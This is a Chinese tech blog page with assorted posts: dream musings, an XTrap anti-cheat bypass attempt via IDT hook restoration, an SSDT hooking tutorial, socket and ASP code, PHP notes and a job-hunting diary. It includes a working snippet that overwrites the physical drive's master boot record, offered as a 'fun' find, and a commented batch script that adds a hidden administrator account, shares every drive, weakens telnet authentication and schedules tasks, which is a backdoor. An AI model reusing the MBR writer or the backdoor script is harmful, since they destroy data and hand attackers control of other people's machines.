盗梦空间之胡思乱想

最近没事总爱胡思乱想。昨日看了《初恋50次》,查了一下大脑的记忆系统。发现,原来人脑子里有一个叫“海马体”的东西来负责记忆。

今早开始胡思乱想,梦是什么?想了一段时间得到如下图的结论。(注:这是本人的胡思乱想。没有啥科学根据。)

我解释下这个图,当人体的感观系统得到信息时,会以一种编码方式传递给大脑。大脑会把这种编码传递给记忆体。记忆体会短暂存储这种信息,然后会选择是否转换成长期记忆。这种感观,大脑,记忆互相联通时的状态就是现实。

  那梦是什么状况呢。当人熟睡的时候感观进入休息状态。但是大脑不休息,记忆体不休息。存贮在记忆体里的记忆会和大脑互相传递。这就形成了梦。所以梦是,大脑和记忆体之间互相交流产生的。

  如果我们破解了记忆体存储记忆的方式。(例如硬盘是以二进制的方式存储的)那么我们就可以记忆移植了,盗梦也不再是,只有在科幻片中才可能出现的事了。

XTrap保护中的IDTHOOK恢复

最近比较懒什么东西都没学。研究了两天传说中的三大游戏保护中的一个,叫XTrap.据说是三个保护

中最弱的一个。但是能力有限,还是没有过掉保护。哎,失败。

不过从中学到了点知识。留个记录。

XTrap保护在驱动里用SSTD HOOK了NtDeviceIoControlFile,NtOpenProcess,NtOpenSection

NtProtectVirtualMemory 等几个API. Shadow SSDT也HOOK了 NtUserFindWindowex

NtUserSetWindowsHookEx等几个API。他还在应用层也HOOK了一些仿调试函数。这些防护可以通过简单

的恢复来绕过。网上也有很多这方面的介绍。本以为绕过这些防护就完事了。可惜太天真了。

里面还有一个IDT HOOK 只要一调试就蓝屏。网上搜索了一下没有找到恢复IDT的资料。

于是自己想了一个办法。

先来说说IDT,IDT = Interrupt Descriptor Table 中断描述表。

这个中断描述表有什么用呢?我说的白话一点。如果你看过有关汇编的教程一定有所了解。

比如我们常用的DEBUG的T命令。他就是通过int 1中断来执行的。当我们执行这个中断的时候

CPU会在执行完一条指令之后,如果检测到TF为1则产生单步中断。

那么系统怎么知道那些中断对应什么操作呢。在系统里有一个中断描述符。它里面就记录了这些对应信

息。

如果我们把IDT里的地址改成我们自己的函数地址。呵呵那么可想而知,在发生相关中断操作的时候就

会执行我们的函数。

XTrap就HOOK了IDT里的int1来阻止调试。幻影壳也用到了这种技术。

有了上面的介绍,下面我们来说说怎么恢复。

首先我们要先把原始的IDT地址保存下来。代码如下

//这条汇编操作是获取IDT
__asm  sidt  idt_info

  idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);

//这里是保存我们需要恢复的中断操作指令我这里的NT_INT_TIMER为#define NT_INT_TIMER   0x01
  old_ISR_pointer = MAKELONG(idt_entries[NT_INT_TIMER].LowOffset,idt_entries

[NT_INT_TIMER].HiOffset);

保存好了原始地址 那么当IDT被改变时我们就可以根据这个原始地址来恢复了

恢复代码如下

//获取现在的中断地址
 __asm  sidt  idt_info
  idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);

  //表示将处理器标志寄存器的中断标志为清0,不允许中断
  __asm cli
  //用我们保存的地址来替换掉
  idt_entries[NT_INT_TIMER].LowOffset = (unsigned short) old_ISR_pointer;
  idt_entries[NT_INT_TIMER].HiOffset = (unsigned short)((unsigned long)old_ISR_pointer >> 

16);
  //表示将处理器标志寄存器的中断标志置1,允许中断
  __asm sti

到这里恢复就完成了。

呵呵,可是XTrap没有我想像的那么单纯。当我恢复的时候立马蓝屏。估计是有线程在不停的检测这个

地址是否被恢复。如果被恢复那就给你一个蓝屏的钙。于是我把除主线程以外的其它线程都挂起。然后

再恢复。

终于不蓝了。上调试器可以进行附加搜索能操作。但是只要执行中断操作程序立马挂掉。不知道是什么
原因。估计是还HOOK了其它地方。还是多学点调试吧以后直接逆向它的代码来看看。

SSDT HOOK

运行效果

先简单说一下SSDT HOOK。应用程序的API在使用的时候要调用系统的低层的API

那么系统如何找到对应的API呢?在系统里有一张表。

System Services Descriptor Table,系统服务描述符表。

在这个表里就有各种系统API的地址,我们只要把这些地址改成我们自己函数的地址。

那么结果大家可想而知了,系统就会调用我们的API了。道理就是这么简单。当然实现

起来也很简单。

说一下步骤

首先我们要定义一个SSDT的结构代码如下

typedef struct ServiceDescriptorEntry
{
	unsigned int *ServiceTableBase;
	unsigned int *ServiceCounterTableBase; //Used only in checked build
	unsigned int NumberOfServices;
	unsigned char *ParamTableBase;
} SSDTEntry;
__declspec(dllimport) SSDTEntry KeServiceDescriptorTable;

然后我们要定义一个自己的API函数,这个函数根据你要HOOK的API来

NTKERNELAPI NTSTATUS ZwTerminateProcess(IN HANDLE ProcessHandle OPTIONAL, IN NTSTATUS 

ExitStatus);

当然还要一个结构来保存要HOOK的API。为什么要保存,当然是为了恢复。:)他的结构如下

typedef NTSTATUS(*_ZwTerminateProcess)(IN HANDLE ProcessHandle OPTIONAL,IN NTSTATUS 

ExitStatus);
_ZwTerminateProcess Old_ZwTerminateProcess;

好了,下面我们要开始把SSDT里的API替换成我们的了。替换之前先把原先的API保存下。代码如下

	//找出旧函数地址并保存
	Old_ZwTerminateProcess =(_ZwTerminateProcess)(GetSystemFunc(ZwTerminateProcess));

#define GetSystemFunc(FuncName) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)

((PUCHAR)FuncName+1)]

然后我们要改写了。当然系统不会那么随便就让我们来改写这个地址。它是受保护的只能读不能写。

那么我们怎么办呢?创建一个MDL来解决。代码如下

	//设置内存为可写
	MDSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, 

KeServiceDescriptorTable.NumberOfServices*4);
	if(!MDSystemCall)
		return STATUS_UNSUCCESSFUL;
	MmBuildMdlForNonPagedPool(MDSystemCall);
	MDSystemCall->MdlFlags = MDSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
	MappedSCT = MmMapLockedPages(MDSystemCall, KernelMode);

已经可以修改了那么我们要修改了。代码如下

HookOn( ZwTerminateProcess, NewZwTerminateProcess);

#define HookOn(_Old, _New) \
	(PVOID) InterlockedExchange( (PLONG) &MappedSCT[GetIndex(_Old)], (LONG) _New)

这样就把地址修改成我们的了,下面怎么处理自己看着办好了。我这里是仿止结束。

//通过ProcessHandle来获得当前要结束的进程的EPROCESS
	if (ObReferenceObjectByHandle

(ProcessHandle,GENERIC_READ,NULL,KernelMode,&SJMPROCESS,0) == STATUS_SUCCESS)
	{
		//如果要结束的是我们需要保护的进程,这里分两种情况
		if (ZHUPROCESS== SJMPROCESS)
		{
			if (ZHUPROCESS != PsGetCurrentProcess())
			{//情况一:当前进程不是我们所保护的进程
				//换句话说也就是其他进程试图结束我们所保护的进程,当然不能

让他结束
				nStatus = STATUS_ACCESS_DENIED;
			}

		}
	}

用完了当然要把它恢复,恢复代码如下

//卸载Hook
	UnHook( ZwTerminateProcess, Old_ZwTerminateProcess);

#define UnHook(_Old, _New) \
	InterlockedExchange( (PLONG) &MappedSCT[GetIndex(_Old)], (LONG) _New)

差点忘了 MDL也要恢复 呵呵 恢复代码如下

	//解锁、释放MDL
	if(MDSystemCall)
	{
		MmUnmapLockedPages(MappedSCT, MDSystemCall);
		IoFreeMdl(MDSystemCall);
	}

至此大致过程已经完了。

发现个好玩的代码改写MBR

 HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
// 重新构造MBR
memcpy(pMBR, scode, sizeof(scode) - 1);

//MBR结束标记55AA
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
//打开磁盘驱动
hDevice = CreateFile
(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);

if (hDevice == INVALID_HANDLE_VALUE)
return -1;

//锁定卷
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);

// 写入内容
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);

//解除卷锁定
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
ExitProcess(-1);
return 0;

运行效果
效果

(vc)SOCKET实现GET提交

废话不多说。直接进入正题。
思路:1.创建套接字绑定本地80端口 2.连接服务器 3.发送数据
下面是实现代码。

	///////////////////创建套接字/////////////////////
	struct sockaddr_in addr;
	SOCKET   hsocket;
	hsocket   =   socket(AF_INET,   SOCK_STREAM,   IPPROTO_TCP);
	SOCKADDR_IN   saServer;
	saServer.sin_family   =   AF_INET;
	saServer.sin_port   =   htons(80);
	saServer.sin_addr.s_addr = inet_addr ("127.0.0.1");
	////////////////////////////////////////////////////////

	///////////////////////连接服务器/////////////////////////
	nRet   =   connect(hsocket,   (LPSOCKADDR)&saServer,   sizeof(SOCKADDR_IN)); 

///////////////////发送数据///////////////////////
    char   req[100]   ;
    wsprintf(req,"GET   /newsv.asp?id=53   HTTP/1.0   %c%c",10,10);   //发送数据格式
send(hsocket,   req,   strlen(req),   0);

这就是GET提交数据了,其实POST也差不多只是发送数据的内容不一样而已,当然这只是我的个人理解。我并没有真正的去写一个POST提交。如果我理解的有错误希望高手指证。本来准备用vc写点东西的,发现vc真的不太适合做网络程序。所以就不扬短避长了。当然大家可以用vc的控件和MFC的类库来实现这些内容。但是我觉得用那些封装好的东西之前还是了解一下实现的原理比较好。

学了四天的PHP

好久没在这里写过东西了~哎 懒了 现在变得太懒了 安逸于ASP 也没学什么新东西

最近闲得很。学了一下PHP 在学习中 遇到的一些问题 现在发出来和大家共享 当然都是 很低级的

问题。只供大家无聊看看。

学PHP 遇到的第一个问题就是 ‘ ‘ 和 ” “的区别 这个一开始令我困惑了很久 因为在ASP中 ” 中是代表

字符 “” 是代表字符串 而在PHP中 反了 也不能说反了 “” 中是输出函数或者变量的值。但是有一点

一直很模糊 “insert into content(name,content) values(‘”.$tit.”‘,’”.$content.”‘)” 变量要加在..中间 不理

解。也不知道搜索什么才能解决。

还有一个就是 发现PHP中类似的 函数很多 不知道为什么要那么多 这里说个例子

mysql_fetch_object 和 mysql_fetch_array 看了好长时间才了解 (太笨了 没办法)

mysql_fetch_object 是把数据库里的 数据 按照对象来存贮 只能按照 字段名来获取 他在数据库里对

应的值 而mysql_fetch_array 是按照数组方式进行存贮的 可以按照字段 或者偏移量来获取

这样看 mysql_fetch_array 完全可以取代mysql_fetch_object 不知道为什么还会有 mysql_fetch_object

这个函数 。还有一个地方到现在也没搞懂 就是这句 while($rs= mysql_fetch_array($info))

一直没懂 这句是怎么用来循环的 不知道有没有高手能看到 给我解释一下

到此结束 四天也就看了这些东西 还有就是不懂 PHP的函数库那么强大 为什么不搞个分页的?

到苏州

[size=13]过完年,刚大年初六就满怀信心的来到了苏州。本以为苏州是一个地美,人美的地方。但是到了这里多少有点失望。
虽然这里河很多,但是水不是很干净。古房子很多,但是在周围楼房的衬托下,显出的只有凄凉甚至残破。人很多,但是十个有九个是外地人。好不容易见到个本地人,也没有以前书上电视上看到的那种感觉。
这里给我感觉最不错的地方就是公园,有山有水,而且免费。每到星期天,公园里就有很多各色各样的人。老板,学生,工人等等。大家在这里享受着大自然带来的美好和安逸。
玩了几天要找工作了。第一个去的人才市场是新区的。到那还没开市。买了一份信息报。上面密密麻麻的写满了招聘信息。我大体的看了一下,没找到网页制作方面的工作,很失望。等人才市场开市之后我去了赣江路的人才市场。那场面把我吓呆了。人山人海。想投份简历你都要排队。我在人才市场就投了两份简历。一份当场获得面试通知,还有一份,联系方式写错了, [music] 。面试那家公司好小,开始聊感觉还不错,可是问到mssql时有点郁闷。没太用过这东西,以前做站都没用过这东西。大概是这个原因,这次面试没通过。
后来懒得去人才市场,就在网上找工作。又拿到了两家面试。第一家还是没通过,分析一下原因是ajax不会。哎~~
第2家通过了,是杂志社,挂着新化报业的牌子。感觉还不错,但是在里面做了一段时间发现这里根本就不适合我。或者说我不适合这里。工作环境太沉闷。每天做在那死气沉沉。而且最郁闷的就是这里什么都是主任说了算。准备做一个苏州酒吧的门户网站。创意不错,但是这么大的门户网站,我来的时候他连规划都没规划。没办法我规划然后拿给他看。规划终于弄好了,开始动工,可是我后台做得差不多了,前台还没人来做。招的人都留不住。到现在终于有一个前台,还不知道能呆不多久。
这样的地方我在这还有什么意思?[/size][/size][/size][/size]

好累~

学技术真的好累~总是觉得自己会的太少 而要学得太多~

可是学了一段时间,就没有了激情,感觉好累,不知道要学多长时间

才可以变成高手~!

真的好累~!

批处理

@echo off
@attrib +s + r xyt.bat //这句话是 修改文件的属性
@net user xyt hacker /add //添加一个用户
@net localgroup administrators xyt /add // 把用户加到管理员组
@net share c$=c: //共享磁盘
@net share d$=d:
@net share e$=e:
@net share f$=f:
@net share g$=g:
@net share h$=h:
@tlntadmn config sec = -ntlm //去掉 -ntlm验证

@net stop schedule //停止 定时服务
@net start Schedule //开启定时服务
@echo at 11:00 c:\WINNT\SYSTEM32\log.bat > c:\WINNT\SYSTEM32\xyt.bat //定时运行
@echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat
@at 11:05 c:\WINNT\SYSTEM32\xyt.bat
@at 23:05 c:\WINNT\SYSTEM32\xyt.bat
@net stop telnet //开启telnet服务
@net start telnet
@exit

今天在网上看见的 发现不错 分析一下拿出来给大家学习一下

对于批处理 偶是垃圾了~~ 嘿嘿~ 如果注释分析错了 还请大家多多指教~!

ASP生成Html

<%
function fsow(filename) //建立一个过程
set mfo=Server.createObject("Scripting.FileSystemObject") //创建一个fso对象
set rtf=mfo.OpenTextFile(server.mappath(filename),1) //打开文件
body=rtf.readall //读取文件的所有内容
end function
%>
<%if request("Type") = "add" then%>
<%
dim dtime,filename1,sql1,rs1
okfile=fsow("../MB.html") //调用fsow
dtime=now() //获取时间
filename1=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)& ".html" //用时间作为要生成的文件名字
file1=server.mappath( "../News" ) //文件保存的地址
file2=file1&"\"&filename1 //文件保存的地址 加文件名字
News_Title=request.form("News_Title") //获取变量
News_Class=request.form("Class")
News_Body=request.form("News_Body")
if request("True_Index") = "" then
True_Index = "No"
else
True_Index = "Yes"
end if
News_Date=date()
set rs=Server.createObject("adodb.recordset") //创建一个recordset对象
strsql="select * from WEBNEWS"
rs.open strsql,conn,3,3
rs.addnew
rs("News_Title")=News_Title
rs("News_Class")=News_Class
rs("News_Body")=News_Body
rs("True_Index")=True_Index
rs("News_Date")=News_Date
rs("File_Name")=filename1
rs.update
rs.close
set rc=Server.createObject("adodb.recordset")
sql="select * from WEBNEWS where File_Name = '"&filename1&"'"
rc.open sql,conn,3,3
News_ID = rc("ID")
okfile = replace(okfile,"News_ID",News_ID) //替换内容
okfile = replace(okfile,"News_Title",News_Title)
okfile = replace(okfile,"News_Body",News_Body)
okfile = replace(okfile,"News_date",News_date)
Set fso = Server.createObject("Scripting.FileSystemObject")
Set fout = fso.createtextfile(file2,true)
fout.writeline okfile //写入内容
fout.close
%>

说一下思路~~ 这是利用模版 生成 html

大体思路是 读取摸版 然后把获取的变量存入数据库 然后再把数据库里的内容 写到摸版

里面用到了 fso知识 大家不懂的话 看看 我以前发的关于fso的文章

第 1 页,共 2 页12

CNXCT小组的博客 is Stephen Fry proof thanks to caching by WP Super Cache